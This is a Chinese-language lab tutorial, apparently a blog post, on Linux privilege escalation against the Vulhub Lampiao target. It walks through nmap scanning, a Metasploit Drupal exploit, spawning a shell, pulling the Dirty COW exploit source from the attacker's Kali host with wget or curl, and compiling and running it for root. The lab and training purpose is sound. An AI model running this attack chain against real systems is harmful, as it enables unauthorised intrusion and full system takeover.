Linux系统提权

Linux系统提权

主题:脏牛漏洞提权

环境准备:靶场:Vulhub Lampiao(脏牛漏洞),Ubuntu-19.04-desktop-amd64.iso(用于sudo命令提权测试)

目标:目前只拥有Linux主机的普通用户权限,如何才能够获得系统root权限

脏牛漏洞的概念:它是一种存在于linux操作系统中的本地提权漏洞,共分为1.0和2.0的版本,当Linux系统内核版本高于4.8以上时,使用脏牛2.0版本;当Linux系统内核版本低于4.8时,则使用1.0版本。

那它的原理又是怎样的?

当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问此页面。在这样的情况下内核可能会出现一种"竞争条件",这种条件导致两个进程都能看到对方的修改,甚至可能覆盖对方的数据。这就为攻击者提供了机会,使其能够在没有权限限制的情况下,通过构造特殊的操作序列,使正在运行的程序以更高的权限执行命令,从而达到提权的效果。**

攻击步骤复现:

  1. 打开Vulhub Lampiao虚拟机,可以看到Linux标志性的黑窗口:
  1. 在不知晓登录账号密码的情况下,尝试信息收集查找突破口,回到Kali Linux中执行nmap命令对同网段进行ip和端口扫描:

nmap 192.168.78.0/24

根据自己的虚拟机网段查看主机ip: 192.168.78.1为物理机ip,192.168.78.130为kali linux虚拟机ip,可疑的只有192.168.78.142这台。接下来就可以针对这台主机进行全端口扫描:

nmap -p- 192.168.78.142

  1. 可以看到全端口扫描能够扫出普通扫描扫不出的端口,注意这边有一个1898端口是open状态。尝试打开浏览器访问192.168.78.142:1898

这边出现一个登录窗口,可以往CMS架构方向突破,那接下来该寻找哪些关键信息?滚动到页面最底处,看到Power By Drupal,可以断定该网站就是Drupal的架构。

  1. 利用msfconsole漏洞框架利用工具控制台,搜索Drupal的有关漏洞利用信息:

Name列包含auxiliary的代表是检测漏洞模块,exploit则是实际攻击模块,在此选择一个较新的攻击模块:

msf6 > use 1

show options

每次攻击前需要确认所有Required = Yes处的选项设置,这里需要设置目标靶机的ip和端口,刚才的信息收集中得到ip=192.168.78.142,port=1898。

set RHOSTS 192.168.78.142

set RPORT 1898

show options

设置完成后再次确认选项是否就绪:

run

运行后发现会话已经建立:

meterpreter > shell

Process 2364 created.

Channel 0 created.

这个时候其实已经通过msf连入了目标靶机服务器的shell了,我们可以通过python语句呼出交互式终端:

python -c 'import pty; pty.spawn("/bin/bash")'

  1. 查看Linux内核命令版本,选择对应的脏牛版本:

这里是4.4的版本,那我们使用脏牛1.0版本进行提权。

到这一步,我们的目标是把本地的Dirty.cpp文件上传到目标靶机上去。有一个问题,那就是不能直接从物理主机(windows)上传文件到目标靶机,它们之间没有任何联络,原因是我并不知道Ubuntu靶机的root账号密码,无法启动ssh随即通过XFTP共享文件。 但是物理主机和Kali Linux虚拟机是我可控的,因此我先把文件上传到Kali Linux的Apache网站根目录/var/www/html/,再通过msf已建立的shell会话使用wget下载到靶机本地,相当于靶机向Kali Linux请求下载文件。

wget http://192.168.78.130:80/Dirty.cpp 或者

curl http://192.168.78.130:80/Dirty.cpp -o Dirty.cpp

此时在靶机得/tmp目录下已经成功保存Dirty.cpp文件。

  1. 由于.cpp为(C/C++)语言文件,在Linux系统中需要通过编译才能运行:

g++ -wall -pedantic -O2 -std=C++11 -pthread -o dcow Dirty.cpp -lutil

编译完成后,在同目录会生成一个dcow文件,能够直接被Linux系统执行:

  1. 执行语句进行提权:

./dcow -s

成功执行,喜提root权限。

【扩展学习】脏牛2.0版本复现步骤 www.cnblogs.com/nanhe7/arti...

【复现步骤总结】

  1. 搭建靶场,信息收集ip和port;
  2. 尝试访问,进一步获得产品关键信息Drupal;
  3. 启动msfconsole,搜索关于Drupal漏洞利用信息;
  4. 设置参数,执行获得靶机shell;
  5. 查看内核版本,挑选脏牛版本,上传文件;
  6. 编译后执行,提权成功。

如果可以尽量避免使用脏牛漏洞,原因是它可能会使计算机崩溃或使其处于不稳定状态。

相关推荐
花火Neko`2 小时前
openwrt防火墙安全配置
网络·安全·智能路由器·istoreos
FreeBuf_3 小时前
AI扩大攻击面,大国博弈引发安全新挑战
人工智能·安全·chatgpt
AZ996ZA3 小时前
自学linux第十八天:【Linux运维实战】系统性能优化与安全加固精要
linux·运维·安全·性能优化
世界尽头与你3 小时前
(修复方案)CVE-2023-22047: Oracle PeopleSoft Enterprise PeopleTools 未授权访问漏洞
数据库·安全·oracle·渗透测试
KKKlucifer6 小时前
数据资产地图构建:文档安全可视化与主动防御
大数据·安全
车载testing9 小时前
SOME/IP 协议中发送 RR 报文的实践指南
网络·tcp/ip·安全
Coder个人博客9 小时前
Linux6.19-ARM64 mm ioremap子模块深入分析
linux·安全·车载系统·系统架构·系统安全·鸿蒙系统·安全架构
码农三叔9 小时前
(9-1)电源管理与能源系统:电池选择与安全
人工智能·嵌入式硬件·安全·机器人·能源·人形机器人
阿里云云原生10 小时前
探秘 AgentRun丨动态下发+权限隔离,重构 AI Agent 安全体系
人工智能·安全·阿里云·重构·agentrun
智驱力人工智能11 小时前
货车走快车道检测 高速公路安全治理的工程实践与价值闭环 高速公路货车占用小客车道抓拍系统 城市快速路货车违规占道AI识别
人工智能·opencv·算法·安全·yolo·目标检测·边缘计算